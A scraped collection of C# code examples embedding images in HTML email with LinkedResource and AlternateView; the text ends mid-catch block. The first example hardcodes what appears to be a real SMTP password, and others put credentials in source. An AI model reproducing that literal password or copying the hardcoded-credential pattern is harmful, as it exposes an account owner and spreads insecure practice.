Example #1
0
        private AlternateView GetAlternateView(string body)
        {
            string        mediaType = this.IsBodyHtml ? "text/html" : "text/plain";
            AlternateView item      = AlternateView.CreateAlternateViewFromString(body, null, mediaType);

            foreach (var obj in m_EmbeddedObjects)
            {
                string path = obj.FileName;
                if (string.IsNullOrEmpty(path))
                {
                    throw new InvalidOperationException("Missing FileName in EmbeddedMailObject.");
                }
                if (!Path.IsPathRooted(path) && !string.IsNullOrEmpty(this.BodyFileName))
                {
                    string bodyFileName = GetFullBodyFileName();
                    path = Path.Combine(Path.GetDirectoryName(bodyFileName), path);
                }

                LinkedResource resource = new LinkedResource(path)
                {
                    ContentId = obj.Name
                };
                try
                {
                    resource.ContentType.Name = Path.GetFileName(path);
                    item.LinkedResources.Add(resource);
                }
                catch
                {
                    resource.Dispose();
                    throw;
                }
            }
            return(item);
        }
        private void btnSubmit_Click(object sender, RoutedEventArgs e)
        {
            long trick = DateTime.Now.Ticks;

            try
            {
                using (System.Net.Mail.SmtpClient client = new SmtpClient("smtp.qq.com"))
                {
                    client.UseDefaultCredentials = false;
                    client.Credentials           = new System.Net.NetworkCredential("*****@*****.**", "lhw521zxh");
                    client.DeliveryMethod        = SmtpDeliveryMethod.Network;

                    MailAddress addressFrom = new MailAddress("*****@*****.**", "多媒体课件编辑器-意见反馈");
                    MailAddress addressTo   = new MailAddress("*****@*****.**", "多媒体课件编辑器-意见反馈");

                    using (System.Net.Mail.MailMessage message = new MailMessage(addressFrom, addressTo))
                    {
                        message.Sender       = new MailAddress("*****@*****.**");
                        message.BodyEncoding = System.Text.Encoding.UTF8;
                        message.IsBodyHtml   = true;
                        message.Subject      = DateTime.Now + "---" + "意见反馈";


                        SaveFrameworkElementToImage(this, trick + ".bmp");
                        Attachment     attcahment = new Attachment(trick + ".bmp");
                        LinkedResource linked     = new LinkedResource(trick + ".bmp", "image/gif");
                        linked.ContentId = "weblogo";
                        string        htmlBodyContent = GetHtmlContent("weblogo");
                        AlternateView htmlBody        = AlternateView.CreateAlternateViewFromString(htmlBodyContent, null, "text/html");

                        htmlBody.LinkedResources.Add(linked);
                        message.AlternateViews.Add(htmlBody);
                        client.Send(message);
                        MessageBox.Show("提交成功,非常感谢您的意见!");
                        attcahment.Dispose();
                        linked.Dispose();
                        htmlBody.Dispose();
                    }
                }
                File.Delete(trick + ".bmp");
                this.Close();
            }
            catch (Exception ex)
            {
                MessageBox.Show("提交失败!");
            }
        }
Example #3
0
        /// <summary>
        /// Creates QR code image sending task.
        /// </summary>
        /// <param name="to">Mail address which message will be sent to.</param>
        /// <param name="recipeId">Recipe Id</param>
        /// <param name="qrImage">QR code Image</param>
        /// <returns>QR code image sending task.</returns>
        private Task GetSendTask(string to, string recipeId, Bitmap qrImage)
        {
            var task = new Task(() =>
            {
                var mail = new MailMessage
                {
                    From       = new MailAddress(this._networkCredential.UserName),
                    Subject    = "Recipe QR code",
                    IsBodyHtml = true
                };

                var stream = new MemoryStream();

                qrImage.Save(stream, ImageFormat.Jpeg);

                stream.Position = 0;

                var img = new LinkedResource(stream, "image/jpeg")
                {
                    ContentId = "recipe_qr_code"
                };

                var foot = AlternateView.CreateAlternateViewFromString("<p> <img src=cid:recipe_qr_code /> </p>", null, "text/html");

                foot.LinkedResources.Add(img);

                mail.AlternateViews.Add(foot);

                mail.To.Add(to);

                this._smptpClient.Send(mail);

                mail.Dispose();
                foot.Dispose();
                img.Dispose();
                stream.Dispose();
                qrImage.Dispose();
            });

            task.Start();

            return(task);
        }
Example #4
0
        public override void Send(string to, string subject, bool isBodyHtml, Bitmap qrImage)
        {
            try
            {
                var mail = this.ConstructMail(to, subject, isBodyHtml);

                var stream = new MemoryStream();

                qrImage.Save(stream, ImageFormat.Jpeg);

                stream.Position = 0;

                var img = new LinkedResource(stream, "image/jpeg")
                {
                    ContentId = "recipe_qr_code"
                };

                var foot = AlternateView.CreateAlternateViewFromString("<p> <img src=cid:recipe_qr_code /> </p>", null, "text/html");

                foot.LinkedResources.Add(img);

                mail.AlternateViews.Add(foot);

                mail.To.Add(to);

                this._smtpClient.Send(mail);

                mail.Dispose();
                foot.Dispose();
                img.Dispose();
                stream.Dispose();
                qrImage.Dispose();
            }
            catch (Exception ex)
            {
                // logging...
                throw ex;
            }
        }
Example #5
0
        /// <summary>
        /// Converts the SRC attribute of IMG tags into embedded content ids (cid).
        /// Example: &lt;img src="filename.jpg" /&lt; becomes &lt;img src="cid:unique-cid-jpg" /&lt;
        /// </summary>
        private void ReplaceImgSrcByCid()
        {
            var fileList = new List <string>();

            _tagHelper.TagName = "img";

            foreach (string element in _tagHelper.StartTags)
            {
                string srcAttr = _tagHelper.GetAttributeValue(element, "src");
                if (string.IsNullOrEmpty(srcAttr))
                {
                    continue;
                }

                try
                {
                    // this will succeed only with local files (at this time, they don't need to exist yet)
                    string filename = MakeFullPath(MakeLocalPath(srcAttr));
                    if (!fileList.Contains(filename))
                    {
                        string contentType = Mime.GetContentType(new FileInfo(filename));
                        var    lr          = new LinkedResource(new MemoryStream(new ASCIIEncoding().GetBytes(string.Empty)), contentType);
                        _inlineAtt.Add(new FileAttachment(filename, MakeCid(string.Empty, lr.ContentId, new FileInfo(filename).Extension),
                                                          contentType));
                        _tagHelper.ReplaceTag(element,
                                              _tagHelper.SetAttributeValue(element, "src",
                                                                           MakeCid("cid:", lr.ContentId, new FileInfo(filename).Extension)));
                        fileList.Add(filename);
                        lr.Dispose();
                    }
                }
                catch
                {
                    continue;
                }
            }
        }
Example #6
0
        public static bool SendMail(IList <string> mailAdresses, IList <string> ccAddresses, string originalHtml, string originalSubject, ILogEmailRepository logEmailRepository, byte[] attachment, LogEmail logEmail)
        {
            ContactCenterDA.Repositories.CC.TH.ObraRepository obraRepository = new ContactCenterDA.Repositories.CC.TH.ObraRepository();
            try
            {
                var smtpClient = new SmtpClient();

                #region Get Config Variables
                String correo   = "";
                String password = "";
                if (Sesion.aplicacion.CorreoNotificacion.Equals(String.Empty))
                {
                    correo   = ConfigurationManager.AppSettings["mailAccount"];
                    password = ConfigurationManager.AppSettings["mailPassword"];
                }
                else
                {
                    correo   = Sesion.aplicacion.CorreoNotificacion;
                    password = Sesion.aplicacion.Contraseña;
                }
                var mailAccount     = correo;
                var mailPassword    = password;
                var smtp            = ConfigurationManager.AppSettings["smtp"];
                var mailDisplayName = ConfigurationManager.AppSettings["mailDisplayName"];
                var port            = ConfigurationManager.AppSettings["port"];
                var sslEnabled      = Convert.ToBoolean(ConfigurationManager.AppSettings["sslEnabled"]);
                var domain          = ConfigurationManager.AppSettings["Domain"];
                #endregion

                #region Create SMTP
                smtpClient.Host = smtp;
                smtpClient.Port = Convert.ToInt16(port);
                smtpClient.UseDefaultCredentials = false;
                smtpClient.DeliveryMethod        = SmtpDeliveryMethod.Network;
                if (domain != null)
                {
                    smtpClient.Credentials = new NetworkCredential(mailAccount, mailPassword, domain);
                }
                else
                {
                    smtpClient.Credentials = new NetworkCredential(mailAccount, mailPassword);
                }
                smtpClient.EnableSsl = sslEnabled;

                #endregion Create SMTP

                #region Create Mail an recievers
                var mail = new MailMessage();
                mail.From = new MailAddress(mailAccount, mailDisplayName);
                foreach (var mailDirection in mailAdresses.Where(x => !string.IsNullOrEmpty(x)))
                {
                    mail.To.Add(new MailAddress(mailDirection.ToLower()));
                }
                foreach (var mailCC in ccAddresses.Where(x => !string.IsNullOrEmpty(x)))
                {
                    mail.CC.Add(new MailAddress(mailCC.ToLower()));
                }

                #endregion

                #region Create Mail Variables
                string htmlBody = originalHtml;
                string subject  = originalSubject;

                #endregion Create Mail Variables


                #region Get Mail Body embedded images paths

                Byte[]       ba = obraRepository.GetImage(logEmail.IdObra);
                MemoryStream ms = new MemoryStream(ba);

                Image        ImageCabe     = ContactCenterBL.Properties.Resources.cabecera;
                Byte[]       imageCabeByte = Convertir_Imagen_Bytes(ImageCabe);
                MemoryStream ca            = new MemoryStream(imageCabeByte);
                #endregion Get Mail Body embedded images paths

                #region Set embedded images mail id
                var cabecera = new LinkedResource(ca, MediaTypeNames.Image.Jpeg);
                cabecera.ContentId = "Cabecera";
                //cabecera.TransferEncoding = TransferEncoding.Base64;
                var logo = new LinkedResource(ms, MediaTypeNames.Image.Jpeg);
                //logo.TransferEncoding = TransferEncoding.Base64;
                logo.ContentId = "ImagenObra";

                var imageText = logEmail.MensajeImagen;

                Image         imageMail;
                AlternateView html = null;
                if (imageText.Equals(String.Empty)) // legacy emails
                {
                    html = AlternateView.CreateAlternateViewFromString(htmlBody, null, MediaTypeNames.Text.Html);
                    html.LinkedResources.Add(logo);
                    html.LinkedResources.Add(cabecera);
                }
                else
                {
                    Image image = Image.FromStream(ca);
                    Guid  id    = Guid.NewGuid();
                    image.Save($"C:\\BackupTeatro\\{id.ToString()}.jpg");
                    string path = $"C:\\BackupTeatro\\{id.ToString()}.jpg";


                    Image image2 = Image.FromStream(ms);
                    Guid  id2    = Guid.NewGuid();
                    image2.Save($"C:\\BackupTeatro\\{id2.ToString()}.jpg");
                    string path2 = $"C:\\BackupTeatro\\{id2.ToString()}.jpg";

                    htmlBody  = htmlBody.Replace("%Cabecera", path);
                    htmlBody  = htmlBody.Replace("%ImagenObra", path2);
                    imageText = imageText.Replace("%Cabecera", path);
                    imageText = imageText.Replace("%ImagenObra", path2);

                    imageMail = TheArtOfDev.HtmlRenderer.WinForms.HtmlRender.RenderToImageGdiPlus(imageText);
                    //imageMail.Save($"C:\\BackupTeatro\\test2.jpg");
                    //Image imagex = Image.FromFile($"C:\\BackupTeatro\\test2.jpg");
                    Byte[]       imageMailBytes        = Convertir_Imagen_Bytes(imageMail);
                    MemoryStream imageMailMemoryStream = new MemoryStream(imageMailBytes);
                    var          imageMailLinked       = new LinkedResource(imageMailMemoryStream, MediaTypeNames.Image.Jpeg);
                    imageMailLinked.ContentId = "obraimagen";
                    Byte[]       pdfFile   = PdfSharpConvert(htmlBody);
                    MemoryStream pdfStream = new MemoryStream(pdfFile);
                    mail.Attachments.Add(new Attachment(pdfStream, "Confirmación de compra.pdf"));

                    if (File.Exists(path2))
                    {
                        File.Delete(path2);
                    }
                    if (File.Exists(path))
                    {
                        File.Delete(path);
                    }

                    htmlBody  = htmlBody.Replace($"C:\\BackupTeatro\\{id.ToString()}.jpg", "%Cabecera");
                    htmlBody  = htmlBody.Replace($"C:\\BackupTeatro\\{id2.ToString()}.jpg", "%ImagenObra");
                    imageText = imageText.Replace($"C:\\BackupTeatro\\{id.ToString()}.jpg", "%Cabecera");
                    imageText = imageText.Replace($"C:\\BackupTeatro\\{id2.ToString()}.jpg", "%ImagenObra");
                    var newHtml = ContactCenterBL.Properties.Resources._base;
                    html = AlternateView.CreateAlternateViewFromString(newHtml, null, MediaTypeNames.Text.Html);
                    //html.TransferEncoding = TransferEncoding.Base64;
                    html.LinkedResources.Add(imageMailLinked);
                }



                //mail.Attachments.Add(new Attachment(imageMailMemoryStream, "Compra.jpg"));



                #endregion

                #region Set Body and Images


                //html.LinkedResources.Add(cabecera);

                #endregion Get Mail Body embedded images paths

                #region Set values to mail

                mail.Subject    = subject;
                mail.IsBodyHtml = true;
                //Attachment inlineLogo = new Attachment(@"../../Resources/cabecera_correo2.jpg");
                //string contentID = "cabe";
                //inlineLogo.ContentId = contentID;
                //inlineLogo.ContentDisposition.Inline = true;
                //inlineLogo.ContentDisposition.DispositionType = DispositionTypeNames.Inline;
                //mail.Attachments.Add(inlineLogo);

                mail.AlternateViews.Add(html);

                #endregion Set values to mail

                #region Send Mail

                smtpClient.Send(mail);
                logEmail.Asunto              = subject;
                logEmail.CorreoDestino       = string.Join(",", mailAdresses.Select(x => x.ToString()).ToArray());
                logEmail.CorreoDestinoCC     = string.Join(",", ccAddresses.Select(x => x.ToString()).ToArray());
                logEmail.Estado              = "OK";
                logEmail.FechaEnvio          = DateTime.Now;
                logEmail.FechaModificacion   = DateTime.Now;
                logEmail.UsuarioModificacion = Sesion.usuario.Login;
                logEmail.Mensaje             = htmlBody;
                logEmail.Intento             = logEmail.Intento + 1;
                logEmail.Descripcion         = String.Empty;

                logEmailRepository.Update(logEmail);
                smtpClient.Dispose();
                mail.Dispose();
                logo.Dispose();
                return(true);

                #endregion Send Mail
            }
            catch (Exception ex)
            {
                logEmail.CorreoDestino       = string.Join(",", mailAdresses.Select(x => x.ToString()).ToArray());
                logEmail.CorreoDestinoCC     = string.Join(",", ccAddresses.Select(x => x.ToString()).ToArray());
                logEmail.FechaEnvio          = DateTime.Now;
                logEmail.FechaModificacion   = DateTime.Now;
                logEmail.UsuarioModificacion = Sesion.usuario.Login;
                logEmail.Intento             = logEmail.Intento + 1;
                logEmail.Estado      = "FALLO";
                logEmail.Descripcion = ex.Message;
                logEmailRepository.Update(logEmail);
                return(false);
            }
        }
    /// <summary>
    /// Called once the sumbit button has been clicked
    /// In the end it will send an email if all the fields have been filled properly
    /// </summary>
    /// <param name="sender"></param>
    /// <param name="e"></param>
    protected void bSend_Click(object sender, EventArgs e)
    {
        //checks if validation has passed
        if (IsValid)
        {
            //MailMessage class
            MailMessage mailmsg = new MailMessage();
            mailmsg.Subject    = this.Subject.Text;
            mailmsg.IsBodyHtml = true;

            LinkedResource image = new LinkedResource(Server.MapPath("~/image/business-company-logo-27438277.jpg"));

            string message = generateMessage(this.Msg.Text, this.Email.Text, this.Name.Text);
            string body    = string.Format(@"{0}
                                        <img style='height: 180px; width: 300px' src=""cid:{1}""/>"
                                           , message, image.ContentId);                                //'@' before the string used so that all of the backslash escapes in the file path.

            AlternateView view = AlternateView.CreateAlternateViewFromString(body, null, "text/html"); //could have plain/text format version before this.
            view.LinkedResources.Add(image);
            mailmsg.AlternateViews.Add(view);                                                          //adds the AlternateView;


            string     filePath = ""; //string filePath to an empty string. when checking whether there is an uploaded file, there will be no need to check if the string object is null.
            FileUpload fileAtt  = this.fileUp;
            Attachment att      = null;
            if (fileAtt.HasFiles)
            {
                //if there is a uploaded file
                filePath = Server.MapPath("~/uploads/" + this.fileUp.FileName);
                fileAtt.SaveAs(filePath);
                att = new Attachment(filePath);
                mailmsg.Attachments.Add(att); //add the uploaded file as a attachment
            }

            mailmsg.From = new MailAddress("*****@*****.**", "Name Surname"); //the sender
            mailmsg.To.Add(new MailAddress("*****@*****.**", "Name Surname"));  //the receiver, could also add a carbon copy using "mailMessage.CC"

            SmtpClient sc = new SmtpClient();
            try
            {
                //most of this could be done in the Web.config file under system.net -> mailSettings tags
                sc.DeliveryMethod = SmtpDeliveryMethod.Network;
                sc.EnableSsl      = true;                                                //enables secure socket layer
                sc.Host           = "smtp.gmail.com";                                    //gmail
                sc.Port           = 25;                                                  //most will use port 25, it's best to check which port does the provider use
                sc.Credentials    = new NetworkCredential("*****@*****.**", "password"); //email and password for the sender, email provider may block it. There should be an option to allow less secure connections.
                sc.Send(mailmsg);                                                        //sends the email
            }
            catch (SmtpException smtpException)
            {
                System.Diagnostics.Debug.WriteLine("Email Provider may be blocking access"); //Email providors normally block it as this is a less secure connection (i.e the password is visible in the source code, refer to 'NetworkCredential' on line 76)
                System.Diagnostics.Debug.WriteLine(smtpException.Message);                   //There can be other causes so a message is also displayed
            }
            finally
            {
                //release resources used and delete uploaded file if it exists
                if (sc != null)
                {
                    sc.Dispose();
                }
                if (image != null)
                {
                    image.Dispose();
                }
                if (view != null)
                {
                    view.Dispose();
                }
                if (att != null)
                {
                    att.Dispose();
                }
                if (mailmsg != null)
                {
                    mailmsg.Dispose();
                }
                if (File.Exists(filePath))
                {
                    File.Delete(filePath);                        //deletes uploaded file if it exists
                }
            }
        }
    }
        private void SendEmailWithScreenshots(ScreenShotTakenMessage screenShotTakenMessage)
        {
            try
            {
                if (ShouldExecute)
                {
                    var addressFrom = new MailAddress(_settingsHandler.GetEmailFrom(), _settingsHandler.GetEmailFrom());
                    var addressTo   = new MailAddress(_settingsHandler.GetEmailTo());
                    var mail        = new MailMessage(addressFrom, addressTo);

                    var memoryStreamScreenshot = new MemoryStream();
                    screenShotTakenMessage.Bitmap.Save(memoryStreamScreenshot, ImageFormat.Jpeg);
                    memoryStreamScreenshot.Position = 0;
                    var linkredResourceScreenshot = new LinkedResource(memoryStreamScreenshot, MediaTypeNames.Image.Jpeg);

                    LinkedResource linkedResourceLastFile = null;
                    MemoryStream   memoryStreamLastFile   = null;
                    var            latestFileInfo         = _lastFileCollector.GetLastFile();
                    if (latestFileInfo != null)
                    {
                        memoryStreamLastFile          = new MemoryStream(File.ReadAllBytes(latestFileInfo.FullName));
                        memoryStreamLastFile.Position = 0;
                        var mimeType = MimeTypes.GetMimeType(latestFileInfo.Name);
                        linkedResourceLastFile = new LinkedResource(memoryStreamLastFile, mimeType);
                    }

                    //TODO: missing in ISettingsHandler
                    mail.Subject = "Screenshot sender";
                    //TODO: missing in ISettingsHandler
                    var htmlString = $@"<html>
                      <body>
                      <p>
                        New screenshot was taken by ScreenShot sender.
                        <br/>
                        <img src='cid: { linkredResourceScreenshot.ContentId}'  />
                        #$LATESTFILELINKEDRESOURCEHOLDER$#
                      </p>
                      </body>
                      </html>
                     ";

                    if (linkedResourceLastFile != null && linkedResourceLastFile.ContentType.MediaType.Contains("image"))
                    {
                        htmlString = htmlString.Replace("#$LATESTFILELINKEDRESOURCEHOLDER$#", $"<img src = 'cid: { linkedResourceLastFile.ContentId}' />");
                    }
                    else
                    {
                        htmlString = htmlString.Replace("#$LATESTFILELINKEDRESOURCEHOLDER$#", string.Empty);
                    }
                    var alternateView = AlternateView.CreateAlternateViewFromString(htmlString, null, MediaTypeNames.Text.Html);
                    alternateView.LinkedResources.Add(linkredResourceScreenshot);
                    if (linkedResourceLastFile != null)
                    {
                        if (linkedResourceLastFile.ContentType.MediaType.Contains("image"))
                        {
                            alternateView.LinkedResources.Add(linkedResourceLastFile);
                        }
                        else
                        {
                            mail.Attachments.Add(new Attachment(latestFileInfo.FullName));
                        }
                    }

                    mail.AlternateViews.Add(alternateView);

                    var smtp = new SmtpClient();
                    smtp.Host                  = _settingsHandler.GetEmailSmtpHost();
                    smtp.Port                  = _settingsHandler.GetEmailSmtpPort();
                    smtp.EnableSsl             = _settingsHandler.GetEmailSmtpEnableSsl();
                    smtp.UseDefaultCredentials = false;
                    smtp.Credentials           = new NetworkCredential(_settingsHandler.GetEmailSmtpUserName(), _settingsHandler.GetEmailFromPassword());
                    smtp.DeliveryMethod        = SmtpDeliveryMethod.Network;
                    smtp.Timeout               = 20000;

                    smtp.Send(mail);

                    //TODO: disposing!
                    smtp.Dispose();
                    mail.Dispose();
                    //smtp.SendAsync(mail, null);
                    memoryStreamScreenshot.Dispose();
                    linkredResourceScreenshot.Dispose();
                    if (linkedResourceLastFile != null)
                    {
                        linkedResourceLastFile.Dispose();
                        memoryStreamLastFile.Dispose();
                    }
                }
            }
            catch (Exception ex)
            {
                _logger.Error(LocalizedStrings.EmailSenderErrorMessage, ex);
            }
        }
Example #9
0
        public MailMessage CreateMailMessage(string recipients, IDictionary replacements, string body, Control owner)
        {
            MailMessage message2;

            if (owner == null)
            {
                throw new ArgumentNullException("owner");
            }
            string from = this.From;

            if (string.IsNullOrEmpty(from))
            {
                SmtpSection smtp = RuntimeConfig.GetConfig().Smtp;
                if (((smtp == null) || (smtp.Network == null)) || string.IsNullOrEmpty(smtp.From))
                {
                    throw new HttpException(System.Web.SR.GetString("MailDefinition_NoFromAddressSpecified"));
                }
                from = smtp.From;
            }
            MailMessage message = null;

            try
            {
                message = new MailMessage(from, recipients);
                if (!string.IsNullOrEmpty(this.CC))
                {
                    message.CC.Add(this.CC);
                }
                if (!string.IsNullOrEmpty(this.Subject))
                {
                    message.Subject = this.Subject;
                }
                message.Priority = this.Priority;
                if ((replacements != null) && !string.IsNullOrEmpty(body))
                {
                    foreach (object obj2 in replacements.Keys)
                    {
                        string pattern     = obj2 as string;
                        string replacement = replacements[obj2] as string;
                        if ((pattern == null) || (replacement == null))
                        {
                            throw new ArgumentException(System.Web.SR.GetString("MailDefinition_InvalidReplacements"));
                        }
                        replacement = replacement.Replace("$", "$$");
                        body        = Regex.Replace(body, pattern, replacement, RegexOptions.IgnoreCase);
                    }
                }
                if (this.EmbeddedObjects.Count > 0)
                {
                    string        mediaType = this.IsBodyHtml ? "text/html" : "text/plain";
                    AlternateView item      = AlternateView.CreateAlternateViewFromString(body, null, mediaType);
                    foreach (EmbeddedMailObject obj3 in this.EmbeddedObjects)
                    {
                        string path = obj3.Path;
                        if (string.IsNullOrEmpty(path))
                        {
                            throw ExceptionUtil.PropertyNullOrEmpty("EmbeddedMailObject.Path");
                        }
                        if (!UrlPath.IsAbsolutePhysicalPath(path))
                        {
                            path = VirtualPath.Combine(owner.TemplateControlVirtualDirectory, VirtualPath.Create(path)).AppRelativeVirtualPathString;
                        }
                        LinkedResource resource = null;
                        try
                        {
                            Stream contentStream = null;
                            try
                            {
                                contentStream = owner.OpenFile(path);
                                resource      = new LinkedResource(contentStream);
                            }
                            catch
                            {
                                if (contentStream != null)
                                {
                                    contentStream.Dispose();
                                }
                                throw;
                            }
                            resource.ContentId        = obj3.Name;
                            resource.ContentType.Name = UrlPath.GetFileName(path);
                            item.LinkedResources.Add(resource);
                        }
                        catch
                        {
                            if (resource != null)
                            {
                                resource.Dispose();
                            }
                            throw;
                        }
                    }
                    message.AlternateViews.Add(item);
                }
                else if (!string.IsNullOrEmpty(body))
                {
                    message.Body = body;
                }
                message.IsBodyHtml = this.IsBodyHtml;
                message2           = message;
            }
            catch
            {
                if (message != null)
                {
                    message.Dispose();
                }
                throw;
            }
            return(message2);
        }
Example #10
0
        /// <summary>
        /// This method takes the input from the form, creates a mail message and sends it to the smtp server
        /// </summary>
        private void SendEmail()
        {
            // make sure we have values in user, password and To
            if (ValidateForm() == false)
            {
                return;
            }

            // create mail, smtp and mailaddress objects
            MailMessage           mail        = new MailMessage();
            SmtpClient            smtp        = new SmtpClient();
            MailAddressCollection mailAddrCol = new MailAddressCollection();

            try
            {
                // set the From email address information
                mail.From = new MailAddress(txtBoxEmailAddress.Text);

                // set the To email address information
                mailAddrCol.Clear();
                logger.Log("Adding To addresses: " + txtBoxTo.Text);
                mailAddrCol.Add(txtBoxTo.Text);
                MessageUtilities.AddSmtpToMailAddressCollection(mail, mailAddrCol, MessageUtilities.addressType.To);

                // check for Cc and Bcc, which can be empty so we only need to add when the textbox contains a value
                if (txtBoxCC.Text.Trim() != "")
                {
                    mailAddrCol.Clear();
                    logger.Log("Adding Cc addresses: " + txtBoxCC.Text);
                    mailAddrCol.Add(txtBoxCC.Text);
                    MessageUtilities.AddSmtpToMailAddressCollection(mail, mailAddrCol, MessageUtilities.addressType.Cc);
                }

                if (txtBoxBCC.Text.Trim() != "")
                {
                    mailAddrCol.Clear();
                    logger.Log("Adding Bcc addresses: " + txtBoxBCC.Text);
                    mailAddrCol.Add(txtBoxBCC.Text);
                    MessageUtilities.AddSmtpToMailAddressCollection(mail, mailAddrCol, MessageUtilities.addressType.Bcc);
                }

                // set encoding for message
                if (Properties.Settings.Default.BodyEncoding != "")
                {
                    mail.BodyEncoding = MessageUtilities.GetEncodingValue(Properties.Settings.Default.BodyEncoding);
                }
                if (Properties.Settings.Default.SubjectEncoding != "")
                {
                    mail.SubjectEncoding = MessageUtilities.GetEncodingValue(Properties.Settings.Default.SubjectEncoding);
                }
                if (Properties.Settings.Default.HeaderEncoding != "")
                {
                    mail.HeadersEncoding = MessageUtilities.GetEncodingValue(Properties.Settings.Default.HeaderEncoding);
                }

                // set priority for the message
                switch (Properties.Settings.Default.MsgPriority)
                {
                case "High":
                    mail.Priority = MailPriority.High;
                    break;

                case "Low":
                    mail.Priority = MailPriority.Low;
                    break;

                default:
                    mail.Priority = MailPriority.Normal;
                    break;
                }

                // add HTML AltView
                if (Properties.Settings.Default.AltViewHtml != "")
                {
                    ContentType ctHtml = new ContentType("text/html");
                    htmlView = AlternateView.CreateAlternateViewFromString(Properties.Settings.Default.AltViewHtml, ctHtml);

                    // add inline attachments / linked resource
                    if (inlineAttachmentsTable.Rows.Count > 0)
                    {
                        foreach (DataRow rowInl in inlineAttachmentsTable.Rows)
                        {
                            LinkedResource lr = new LinkedResource(rowInl.ItemArray[0].ToString());
                            lr.ContentId             = rowInl.ItemArray[1].ToString();
                            lr.ContentType.MediaType = rowInl.ItemArray[2].ToString();
                            htmlView.LinkedResources.Add(lr);
                            lr.Dispose();
                        }
                    }

                    // set transfer encoding
                    htmlView.TransferEncoding = MessageUtilities.GetTransferEncoding(Properties.Settings.Default.htmlBodyTransferEncoding);
                    mail.AlternateViews.Add(htmlView);
                }

                // add Plain Text AltView
                if (Properties.Settings.Default.AltViewPlain != "")
                {
                    ContentType ctPlain = new ContentType("text/plain");
                    plainView = AlternateView.CreateAlternateViewFromString(Properties.Settings.Default.AltViewPlain, ctPlain);
                    plainView.TransferEncoding = MessageUtilities.GetTransferEncoding(Properties.Settings.Default.plainBodyTransferEncoding);
                    mail.AlternateViews.Add(plainView);
                }

                // add vCal AltView
                if (Properties.Settings.Default.AltViewCal != "")
                {
                    ContentType ctCal = new ContentType("text/calendar");
                    ctCal.Parameters.Add("method", "REQUEST");
                    ctCal.Parameters.Add("name", "meeting.ics");
                    calView = AlternateView.CreateAlternateViewFromString(Properties.Settings.Default.AltViewCal, ctCal);
                    calView.TransferEncoding = MessageUtilities.GetTransferEncoding(Properties.Settings.Default.vCalBodyTransferEncoding);
                    mail.AlternateViews.Add(calView);
                }

                // add custom headers
                foreach (DataGridViewRow rowHdr in dgGridHeaders.Rows)
                {
                    if (rowHdr.Cells[0].Value != null)
                    {
                        mail.Headers.Add(rowHdr.Cells[0].Value.ToString(), rowHdr.Cells[1].Value.ToString());
                    }
                }

                // add attachements
                foreach (DataGridViewRow rowAtt in dgGridAttachments.Rows)
                {
                    if (rowAtt.Cells[0].Value != null)
                    {
                        Attachment data = new Attachment(rowAtt.Cells[0].Value.ToString(), FileUtilities.GetContentType(rowAtt.Cells[1].Value.ToString()));
                        if (rowAtt.Cells[4].Value.ToString() == "True")
                        {
                            data.ContentDisposition.Inline          = true;
                            data.ContentDisposition.DispositionType = DispositionTypeNames.Inline;
                            data.ContentId = rowAtt.Cells[3].Value.ToString();
                            Properties.Settings.Default.BodyHtml = true;
                        }
                        else
                        {
                            data.ContentDisposition.Inline          = false;
                            data.ContentDisposition.DispositionType = DispositionTypeNames.Attachment;
                        }
                        mail.Attachments.Add(data);
                    }
                }

                // add read receipt
                if (Properties.Settings.Default.ReadRcpt == true)
                {
                    mail.Headers.Add("Disposition-Notification-To", txtBoxEmailAddress.Text);
                }

                // set the content
                mail.Subject    = txtBoxSubject.Text;
                msgSubject      = txtBoxSubject.Text;
                mail.Body       = richTxtBody.Text;
                mail.IsBodyHtml = Properties.Settings.Default.BodyHtml;

                // add delivery notifications
                if (Properties.Settings.Default.DelNotifOnFailure == true)
                {
                    mail.DeliveryNotificationOptions = DeliveryNotificationOptions.OnFailure;
                }

                if (Properties.Settings.Default.DelNotifOnSuccess == true)
                {
                    mail.DeliveryNotificationOptions = DeliveryNotificationOptions.OnSuccess;
                }

                // send by pickup folder?
                if (rdoSendByPickupFolder.Checked)
                {
                    if (chkBoxSpecificPickupFolder.Checked)
                    {
                        if (Directory.Exists(txtPickupFolder.Text))
                        {
                            smtp.DeliveryMethod          = SmtpDeliveryMethod.SpecifiedPickupDirectory;
                            smtp.PickupDirectoryLocation = txtPickupFolder.Text;
                        }
                        else
                        {
                            throw new DirectoryNotFoundException(@"The specified directory """ + txtPickupFolder.Text + @""" does not exist.");
                        }
                    }
                    else
                    {
                        smtp.DeliveryMethod = SmtpDeliveryMethod.PickupDirectoryFromIis;
                    }
                }

                // smtp client setup

                // this is for TLS enforcement -- is its true
                // STARTTLS will be utilized
                smtp.EnableSsl = chkEnableSSL.Checked;
                // we are avoiding to carry out default logon credentials to smtp session
                smtp.UseDefaultCredentials = false;

                smtp.Port = Int32.Parse(cmbPort.Text.Trim());
                smtp.Host = cmbServer.Text;

                smtp.Timeout = Properties.Settings.Default.SendSyncTimeout;

                // we are checking, if its office365.com or not because of specific settings on receive connectors
                // for on premise exchange servers can cause exception
                if (smtp.Host == "smtp.office365.com")
                {
                    string targetname = "SMTPSVC/" + smtp.Host;
                    smtp.TargetName = targetname;
                }
                else
                {
                    smtp.TargetName = null;
                }


                // check for credentials
                // moved credential a bit low in the code flow becuase of I've seen a credential removal somehow
                string sUser     = txtBoxEmailAddress.Text.Trim();
                string sPassword = mskPassword.Text.Trim();
                string sDomain   = txtBoxDomain.Text.Trim();

                if (sUser.Length != 0)
                {
                    if (sDomain.Length != 0)
                    {
                        smtp.Credentials = new NetworkCredential(sUser, sPassword, sDomain);
                    }
                    else
                    {
                        smtp.Credentials = new NetworkCredential(sUser, sPassword);
                    }
                }
                // send email
                smtp.Send(mail);
            }
            catch (SmtpException se)
            {
                txtBoxErrorLog.Clear();
                noErrFound = false;
                if (se.StatusCode == SmtpStatusCode.MailboxBusy || se.StatusCode == SmtpStatusCode.MailboxUnavailable)
                {
                    logger.Log("Delivery failed - retrying in 5 seconds.");
                    Thread.Sleep(5000);
                    smtp.Send(mail);
                }
                else
                {
                    logger.Log("Error: " + se.Message);
                    logger.Log("StackTrace: " + se.StackTrace);
                    logger.Log("Status Code: " + se.StatusCode);
                    logger.Log("Description:" + MessageUtilities.GetSmtpStatusCodeDescription(se.StatusCode.ToString()));
                    logger.Log("Inner Exception: " + se.InnerException);
                }
            }
            catch (InvalidOperationException ioe)
            {
                // invalid smtp address used
                txtBoxErrorLog.Clear();
                noErrFound = false;
                logger.Log("Error: " + ioe.Message);
                logger.Log("StackTrace: " + ioe.StackTrace);
                logger.Log("Inner Exception: " + ioe.InnerException);
            }
            catch (FormatException fe)
            {
                // invalid smtp address used
